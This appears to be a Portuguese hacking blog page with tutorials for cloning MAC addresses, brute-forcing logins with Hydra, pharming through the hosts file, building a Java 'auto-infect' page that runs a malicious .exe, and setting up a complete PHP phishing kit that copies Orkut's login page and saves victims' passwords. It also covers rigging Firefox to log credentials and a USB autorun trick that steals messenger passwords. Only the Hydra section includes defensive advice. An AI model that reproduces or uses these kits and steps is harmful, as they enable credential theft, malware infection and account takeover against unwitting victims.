Hacking
Clonar MAC – Address Changer
0Uma boa ferramenta para quem gosta de Wireless Hacking é o bom e velho MAC Address Changer,
Hoje em dia praticamente todos os provedores de acesso wireless liberam o acesso aos seus clientes atáves do seu MAC Address.
Tendo ele em mãos, basta clona-lo.
Download do MACAddressChanger Pass: www.darkers.com.br
Gerador de CPF e CNPJ Válidos
2:: Sobre
Você trabalha com programação e não tem como testar o campo de CPF ou CNPJ de seus programas? Teste com nosso gerador de CPF e CNPJ online.
:: FAQ
Esse gerador de CPF e CNPJ é ilegal?
NÃO! Ele é um código para gerar números de CPF e CNPJ unicamente para teste. Os números de CPF e CNPJ gerados não pertencem, necessariamente, a alguma pessoa.
Posso usar os números gerados para preencher cadastros?
TAMBÉM NÃO! Fazer uso desses números para qualquer tipo de cadastro pode ser considerado falsidade ideológica e você sofrerá as penalidades da lei. Por favor, não faça isso!
Ataque brute force com o Hydra
2Ataques Brute Force


- Para Unix: hydra-7.1-src.tar.gz
- Para Windows/Cygwin: hydra-5.4-win.zip
- Binário para o ARM: hydra-5.0-arm.tar.gz. Esta versão está um pouco desatualizada, mas em breve será disponibilizada uma nova versão.
- Binário para o Palm: hydra-4.6-palm.zip. A versão para o Palm é desenvolvida de forma independente das outras, portanto nem todos os protocolos são suportados e os updates não são muito frequentes.
Compilando e instalando
Dependendo do pacote que você escolher, será necessário que você compile o software. Algumas releases como a disponível para Windows/Cygwin e ARM já contém tudo compilado e pronto para o uso, com todos os módulos (no port para o ARM você não poderá usar o módulo para SAP R/3).
Se você escolheu o pacote para Unix, você precisará instalar todas as bibliotecas necessárias para compilar os módulos corretamente. O serviço não é tão difícil, já que ao executar o ./configure, já será mostrado um resumo dizendo as bibliotecas que faltam e onde encontrá-las. Seguem os passos necessários para compilar com sucesso o Hydra em qualquer *nix.
Faça o download do pacote hydra-5.4-src.tar.gz aqui no www.darkers.com.br e descompacte:
Código:
tar xzvf hydra-5.4-src.tar.gz
Acesse o diretório que acabou de ser criado e:
Código:
cd hydra-5.4-src./configure
Quando você executa o configure, algumas bibliotecas que são necessárias para alguns módulos como SSHv2 e PostgreSQL (libssh e libpq, respectivamente) são checadas e se não estiverem instaladas no sistema você deverá instalá-las na mão. A boa notícia é que o script já informa o site de onde você pode fazer o download e a maioria dessas bibliotecas já vem com instruções de como compilar. Vale a pena lembrar que, se você não quiser utilizar os módulos que precisam das bibliotecas, pode continuar a compilação normalmente: os outros protocolos irão funcionar sem problemas.
Depois que o ./configure terminar, só resta executar como root:
Código:
make && make install
Pronto! O Hydra já está instalado e pronto para ser usado!
Wordlists
Wordlists são, como o nome diz, listas gigantescas de palavras ou nomes de usuários que são utilizadas em ataques bruteforce. O Hydra não vem com nenhuma wordlist e não funciona sem uma, então você precisa dar um jeito nisso. Vou colocar alguns links com wordlists para você começar a brincar com o Hydra
http://www.outpost9.com/files/WordLists.html
http://wordlist.sourceforge.net/
Depois que você baixar as listas, junte todas em um único arquivo. No Hydra, você só pode especificar um único arquivo de wordlists para ser utilizado. Você pode usar o cat. Por exemplo:
Código:
cat substitua isso por todos os arquivos de wordlists que você tem >> wordlist2.txt
É útil também remover entradas duplicadas da sua wordlist, para não perder tempo tentando mais de uma vez uma senha que já não deu certo:
Código:
cat wordlist2.txt | sort | uniq > wordlistfinal.txt
Pronto, agora é só fazer o Hydra utilizar o arquivo wordlistfinal.txt como wordlist.
Utilizando o Hydra
O Hydra é bem fácil de ser utilizado. Você só precisa especificar o login (ou um arquivo com vários logins), a wordlist com senhas, o host e o protocolo. Se desejar pode fazer com que a saída do comando seja escrita em algum arquivo. Na linha a seguir, mostro o uso básico do Hydra:
Código:
hydra -l root -P ~/wordlistfinal.txt -o bruteforce.txt ftp.foo.bar ftp
A linha acima é bem simples. A opção -l diz que você quer fazer brute force em um usuário específico que você já sabe que existe (você poderia usar a opção -L para utilizar um arquivo com vários logins); a opção -P específica qual wordlist será usada para ler as senhas (você poderia usar -p se soubesse uma senha, mas não soubesse de qual usuário é); -o escreve a saída do comando no arquivo bruteforce.txt; ftp.foo.bar é o nome do host que iremos atacar e ftp é o protocolo que o Hydra deve usar.
Se você por algum motivo precisar interromper a sessão do Hydra, pode começar de onde parou utilizando a opção -R no mesmo diretório em que você interrompeu a execução anterior.
Outras opções úteis são:
-s: Se o serviço estiver sendo executado em uma porta diferente, use esta opção para especificar a porta.
-t: Indica a quantidade de conexões paralelas no servidor
-M: Define uma lista de servidores a serem atacados
Como se proteger
Se proteger de ataques brute force não é tão difícil assim:
- Forçar utilização de senhas seguras nos seus servidores. Senhas com caracteres especiais, letras maiúsculas e minúsculas, números e um comprimento de pelo menos 8 caracteres.
- Determinar um número máximo de erros na tentativa de login.
- Sempre monitore os log’s procurando por tentativas de login que falharam muitas vezes.
- Onde puder, mude a porta padrão dos serviços sendo executados na sua máquina (por exemplo, se só você utilizar o SSH você pode mudar a porta dele de 22 para 45600, por exemplo. Isso diminui a incidência de ataques)
- Onde possível, especifique o IP de origem que pode estabelecer a conexão com determinados serviços
Como se vê, é bem simples melhorar a segurança de seus serviços. Isso é o mínimo necessário para não ter muita dor de cabeça com qualquer pessoa que saia usando o Hydra e seus similares por aí. Porém estas não são as únicas técnicas e também não excluem a necessidade de verificação contínua nos log’s e conexões estabelecidas no servidor procurando por atividades suspeitas.
Conclusão
O Hydra é talvez a melhor ferramenta para ataques de brute force: tem um ótimo desempenho, é multiplataforma e várias opções úteis, além disso está em desenvolvimento constante e novas versões são lançadas frequentemente (não há um ciclo de release definido).
Pharming (Windows)
0A técnica de Pharming no Windows se baseia em trocar os DNS’s de um arquivo, fazendo assim, você acessar um site sem a intenção de fazer aquilo.
O arquivo é o C:\Windows\System32\drivers\etc e possui uma lista de DNS’s com endereços de IP.
O que ele faz?
Ele simplesmente faz o seguinte:
- Quando você digita 127.0.0.1, ele abre o endereço localhost automaticamente… E na barra de endereços, o endereço fica 127.0.0.1.
Pera ae… Isso quer dizer que eu posso fazer a vítima acessar um site, o site aparecer corretamente na barra de endereços e a vítima estar acessando outro site? CORRETO!
Abrindo o arquivo com o bloco de notas, podemos ver:
# Copyright (c) 1993-2009 Microsoft Corp.
#
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
#
# This file contains the mappings of IP addresses to host names. Each
# entry should be kept on an individual line. The IP address should
# be placed in the first column followed by the corresponding host name.
# The IP address and the host name should be separated by at least one
# space.
#
# Additionally, comments (such as these) may be inserted on individual
# lines or following the machine name denoted by a ‘#’ symbol.
#
# For example:
#
# 102.54.94.97 rhino.acme.com # source server
# 38.25.63.10 x.acme.com # x client host# localhost name resolution is handled within DNS itself.
# 127.0.0.1 localhost127.0.0.1 localhost
Agora, vamos pegar por exemplo, o IP de Google.com e o DNS de Orkut.com e adicionar no arquivo (assim, quando a você tentar acessar o Orkut, você vai cair no Google).
Dando um ping www.google.com, temos:
Disparando www.l.google.com [64.233.163.104] com 32 bytes de dados:
Resposta de 64.233.163.104: bytes=32 tempo=50ms TTL=56
Resposta de 64.233.163.104: bytes=32 tempo=45ms TTL=56
Resposta de 64.233.163.104: bytes=32 tempo=46ms TTL=56
Resposta de 64.233.163.104: bytes=32 tempo=49ms TTL=56
Agora, pegamos o IP do Google.com (64.233.163.104) e acrescentamos, junto ao DNS do Orkut.com, no arquivo hosts.
# Copyright (c) 1993-2009 Microsoft Corp.
#
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
#
# This file contains the mappings of IP addresses to host names. Each
# entry should be kept on an individual line. The IP address should
# be placed in the first column followed by the corresponding host name.
# The IP address and the host name should be separated by at least one
# space.
#
# Additionally, comments (such as these) may be inserted on individual
# lines or following the machine name denoted by a ‘#’ symbol.
#
# For example:
#
# 102.54.94.97 rhino.acme.com # source server
# 38.25.63.10 x.acme.com # x client host# localhost name resolution is handled within DNS itself.
# 127.0.0.1 localhost127.0.0.1 localhost
64.233.163.104 www.orkut.com
Pronto! Agora, quando você for acessar Orkut.com, vai abrir a página do Google.com (na barra de endereços, continuará Orkut.com).
Assim, se você fizer isso com uma página fake, a vítima verá a barra de endereçõs idêntica, mas estará logando em outro site! Isso foi apenas para explicar como funciona o Pharming (Windows) com um pouco de imaginação e SEing, ai ai…
Auto infect por URL (HTML Auto Infect)
0Um HTML auto-infect é uma página da web que executa códigos ou softwares maliciosos sem o conhecimento da vitima.
Segue abaixo em anexo os arquivos necessários e o tutorial para configuração:
- 1- Faça upload do .exe desejado em um host e pegue o link. Ex: www.virus.com/virus.exe
- 2 – Agora, edite o HTML de auto-infect:
<applet name=”link” code=”Inicio.class” archive=”link.jar” height=”10″ width=”1″>
<param name=”url” value=”virus.exe”>
Troque isso para:
<applet name=”link” code=”Inicio.class” archive=”link.jar” height=”10″ width=”1″>
<param name=”url” value=”www.virus.com/virus.exe“>
PS: www.virus.com/virus.exe é apenas um exemplo! Nesse passo, você deve substituir pelo link obtido ao fazer o upload do .exe no seu host!
- 3- Hospede também, no mesmo host, o arquivo .html, o arquivo LOGGER e o arquivo .jar (ambos no mesmo diretório).
- 4- Pronto! Ao acessar o .html, ele vai rodar o virus.exe!
PS: Se a vítima não tiver o Java Runtimes instalado no computador, o navegador irá mostrar a opção para instalar. Se isso acontecer, é so você enrolar a vítima com uma engenharia social (falando que é um jogo em java e precisa de complemento, por exemplo).
- Pagina do auto infect neste link:
Password: www.darkers.com.br
Criando uma página fake!
1Esse tutorial vai te ensinar a criar uma página fake de qualquer site!
Para aqueles que não sabem o que é uma página fake…
- Página fake é uma página falsa de login de um site, que rouba os dados das pessoas. Como por exemplo uma página fake de login de um banco (que possui a fução de roubar a senha dos usuários do banco).
Nossa pagina fake funciona da seguinte maneira:
1º – Você vai precisar de um arquivo HTML (o login.html) e mais alguns arquivos PHP
- salva.php
- apagar.php
- ler.php
Você vai upar todos os arquivos em um host free [www.110mb.com] e quando a vítima logar na página fake, os seus dados serão salvos em um arquivo “senhas.txt” no próprio host!
Para ver esse arquivo, acesse o arquivo ler.php. E para apagar, acesse o arquivo apagar.php!
Vamos lá! Primeiramente, entre na página de login de algum site (vamos pegar o Orkut como exemplo) e salve o html como login.html!
Agora, entre no bloco de notas e crie os PHP’s: - salva.php:
<?php
$nomearquivo =”senhas.txt”;
$email =$_POST["VALOR DO INPUT DE LOGIN"];
$senha =$_POST["VALOR DO INPUT DE SENHA"];
$browser =$_SERVER['HTTP_USER_AGENT'];
$ip =$_SERVER['REMOTE_ADDR'];
$hostname =gethostbyaddr($ip);
$data =date(“Y-m-d”);
$hora =date(“H:i:s”);
$traco =”<br><br>”;
$ess =”Email: “.$email.”<br>Senha: “.$senha.”<br>Navegador: “.$browser.”<br>IP: “.$ip.”<br>Nome do Host: “.$hostname.”<br>Data: “.$data.”<br>Hora: “.$hora.”<br>”.$traco;
$abre =@fopen(“senhas.txt”,”a “);
$escreve =fwrite($abre, $ess);
echo “<script>javascript:document.location=’SITE DESEJADO’</script>”;
?>
- apagar.php:
<?php
$fd = @fopen(“senhas.txt”,”w”) or die(“arquivo inexistente”);
fpassthru($fd);
?>
- ler.php:
<?php
$fd = @fopen(“senhas.txt”,”r”) or die(“Falta um arquivo no servidor!!”);
fpassthru($fd);
?>
Agora, abra login.html com um editor de HTML, ou com o próprio bloco de notas, e ache o form de login. Esse form é um código que, geralmente, vem nos botões de “Entrar” ou “Login”, que dá um endereço pra página ser redirecionada após o login (se o login for autenticado, ou seja, se o usuário e a senha estiverem certos). Geralmente, ele está escrito no seguinte código:
<form name=”loginForm” action=”…”
- O endereço do Action muda de acordo com o site. Quando for assim, adicione um “Salva.php” no action!
<form name=”loginForm” action=”salva.php”
Dica: O form quase sempre vem seguido do “Action”, que significa uma ação que irá acontecer quando clicar no botão (ou quando a página for atualizada). Então, para achar o form de login, aperta Ctrl F e procura por “Action” no código fonte. Quando você ver que achou o form de login, você substitui o endereço do Action por salva.php. Em geral, é assim, mas em alguns casos, em vez de action, tem outros códigos (um deles é OnClick), mas fica fácil de achar, é so pesquisar bastante no código fonte.
- No caso do Orkut, no código-fonte, o form está assim:
<form id=”gaia_loginform” action=”https://www.google.com/accounts/ServiceLoginAuth?service=orkut“
-É só você trocar por:
<form id=”gaia_loginform” action=”salva.php”
-Agora você procura, por perto do form, a parte do INPUT. Procura o INPUT de usuário e o INPUT de senha. O INPUT é o campo onde você digita a senha. Dica: a maioria dos inputs estao com type=HIDDEN (escondidos). Então, o INPUT que você vai procurar é o de inserir senha e login. Geralmente eles tem nome de LOGIN e PASSWORD. No código-fonte da página de login do Orkut é assim:
<input name=”Email”
e
<input name=”passwd”
Agora você pega os valores dos “input name”, que no exemplo, é “username” e “password”, abre o salva.php. Ele deve estar assim:
<?php
$nomearquivo =”senhas.txt”;
$email =$_POST["VALOR DO INPUT DE LOGIN"];
$senha =$_POST["VALOR DO INPUT DE SENHA"];
$browser =$_SERVER['HTTP_USER_AGENT'];
$ip =$_SERVER['REMOTE_ADDR'];
$hostname =gethostbyaddr($ip);
$data =date(“Y-m-d”);
$hora =date(“H:i:s”);
$traco =”<br><br>”;
$ess =”Email: “.$email.”<br>Senha: “.$senha.”<br>Navegador: “.$browser.”<br>IP: “.$ip.”<br>Nome do Host: “.$hostname.”<br>Data: “.$data.”<br>Hora: “.$hora.”<br>”.$traco;
$abre =@fopen(“senhas.txt”,”a “);
$escreve =fwrite($abre, $ess);
echo “<script>javascript:document.location=’SITE DESEJADO’</script>”;
?>
Agora, você coloca na 2º e na 3º linha, entre aspas, os valores e na penúltima linha, coloque endereço do login Vai ficar assim:
<?php
$nomearquivo =”senhas.txt”;
$email =$_POST["Email"];
$senha =$_POST["passwd"];
$browser =$_SERVER['HTTP_USER_AGENT'];
$ip =$_SERVER['REMOTE_ADDR'];
$hostname =gethostbyaddr($ip);
$data =date(“Y-m-d”);
$hora =date(“H:i:s”);
$traco =”<br><br>”;
$ess =”Email: “.$email.”<br>Senha: “.$senha.”<br>Navegador: “.$browser.”<br>IP: “.$ip.”<br>Nome do Host: “.$hostname.”<br>Data: “.$data.”<br>Hora: “.$hora.”<br>”.$traco;
$abre =@fopen(“senhas.txt”,”a “);
$escreve =fwrite($abre, $ess);
echo “<script>javascript:document.location=’http://www.orkut.com‘</script>”;
?>
Salve e pronto!
Agora você precisa saber a função de cada arquivo:
-> login.htm: a página fake já com as modificações necessárias
-> login_arquivos: imagens (geralmente, gifs e pngs) da página de login
-> salva.php: arquivo php necessário pra página funcionar (salva senhas e logins no arquivo senhas.txt)
-> ler.php: com esse arquivo é que você vai conseguir ver as senhas e logins (permite você visualizar o arquivo senhas.txt)
-> apagar.php: com esse arquivo, você vai apagar as senhas e logins depois de ter guardado (apaga o arquivo senhas.txt)
-> senhas.txt: o arquivo com as senhas que vâo ser salvas depois de alguem ter logado na página fake. Se você quiser dificultar o acesso de outras pessoas à sua página fake, mude “senhas.txt” e “ler.php”, como por exemplo hell.php e hell.txt. Fica mais difícil de uma pessoa descobrir o link do log de senhas. Mas, para fazer isso, você vai ter que mudar o nome em todos os lugares, em todos phps e na página fake, que fazem referência à Salvar.txt e Ler.php.
IMPORTANTE: Coloque todos os 4 arquivos juntos no mesmo diretório
IMPORTANTE²: Crie uma pasta no diretorio onde vc fez o upload dos 4 arquivos e faça o upload dos arquivos que estao dentro da pasta login_Arquivos
Recuperando senhas gravadas no navegador
0Existem softwares para recuperação de senhas gravadas em inputs do tipo password, neste caso não vamos utilizar nenhum programa externo, apenas javascript e umnavegador (testado apenas no FF).
O primeiro passo é acessar o site e fazer com que a senha seja carregada no campo de password, em alguns casos é necessário digitar o usuário para que isto aconteça.
Feito isso, carregue o jQuery no site através do campo da url:
javascript:var%20script=document.createElement(“script”);script.type=”text/javascript”;
script.src=”http://ajax.googleapis.com/ajax/libs/jquery/1.4/jquery.min.js“;
document.getElementsByTagName(“head”)[0].appendChild(script);void(0);
Sabendo que agora você pode usar os recursos do jQuery, você precisa encontrar o input do tipo password e exibir o atributo “value” dele, o código que faz isso:
javascript:alert($(“input[type=password]“).val())
Simples assim, este comando deve abrir um alert com a sua senha.
Transformando o Firefox em um keylogger
0Vamos ver como trnasformar o Firefox em um keylogger muito útil.
Técnica descoberta por RAJ.
A tecnica consiste forçar o uso o proprio armazenamento de senhas do Firefox, muito simples!
Não é necessário nenhum programa, apenas substituir o javascript original por um modificado, a modificação faz um bypass que força o armazenamento da identidade.
E o melhor, é cross platform… funciona em todos sistemas operacionais!
Como?
1 – Feche o firefox.
2 – No Windows, vá em: C:/Arquivos de programas/Mozilla Firefox/Components
Linux, por exemplo em: /usr/lib/firefox-3.6.3/components/
Mac: Applications > botão direito no Firefox > Show Package Contents > Contents/MacOS/Components.
3 – Iremos substituir o script chamado “nsLoginManagerPrompter.js” pelo bypassed, baixe a modificação aqui, talvez vc queira copiar o original antes de substituir pelo modificado.
Uma vez substituido, está pronto!
Agora o Firefox irá armazenar automaticamente todas informações de login!
Para ver esses dados abra o Firefox, Editar, Preferencias / aba Segurança e clique em “senhas salvas”…. pronto, está tudo ai!
Espero que seja útil a vocês, Abraços
Reeves
Roubando senhas de MSN/Yahoo/Gtalk (orkut) com pen drive!
1Roubando senhas de MSN/Yahoo/Gtalk (orkut) com pen drive!

É bastante simples, primeiramente baixe o mspass. Para aqueles que gostam de baixar direto da fonte, baixe aqui:http://www.nirsoft.net/utils/mspass.html
Abre o pendrive e crie um documento chamado “autorun.inf”.
Nele escreva isso:
[autorun]
open=captura.bat
ACTION=darkers
Renomeie o disco do seu pendrive para o mesmo nome que esta na propriedade ‘Action.”
Ex: Se estiver com o nome “Disco Removível” e no Action tiver “darkers”, clique com o botão direito sobre o ícone do pendrive e clique em Renomear e ponha “darkers” no nome.
Então crie uma pasta chamada mspass, nessa pasta você copia o mspass.exe que você baixou. *Não a instalação e sim o .exe do programa! (Isso somente para quem optou por baixar a instalação dele na fonte logo acima.)
Então você cria um arquivo .bat, que é chamado captura.bat. Nesse arquivo você escreve:
start mspass\mspass.exe /stext Senhas.txt
OK! Isso é tudo que você tem que fazer. Você colocar o o seu pendrive em qualquer computador, o autostart.inf executará o mspass. Depois de alguns segundos, você pode remover o pendrive. Depois disso, aparecerá um arquivo chamado Senhas.txt no seu pendrive, com as senhas que o Mspass pegou!
- -O Mspass é um programa que decodifica senhas de MSN (e de alguns outros softwares também, como Yahoo Messenger), descobrindo a senha de usuários que ja logaram no computador que ele for executado.
- -O arquivo captura.bat serve para salvar todo texto do mspass em um arquivo .txt, ou seja, ele vai salvar o login e senha no .txt.
- -O Mspass caputura senhas de: MSN Messenger | Windows Messenger (In Windows XP) | Windows Live Messenger (In Windows XP/Vista/7) | Yahoo Messenger (Versions 5.x and 6.x) | Google Talk | ICQ Lite 4.x/5.x/2003 | AOL Instant Messenger v4.6 or below, AIM 6.x, and AIM Pro. | Trillian | Trillian Astra | Miranda | GAIM/Pidgin | MySpace IM | PaltalkScene | Digsby



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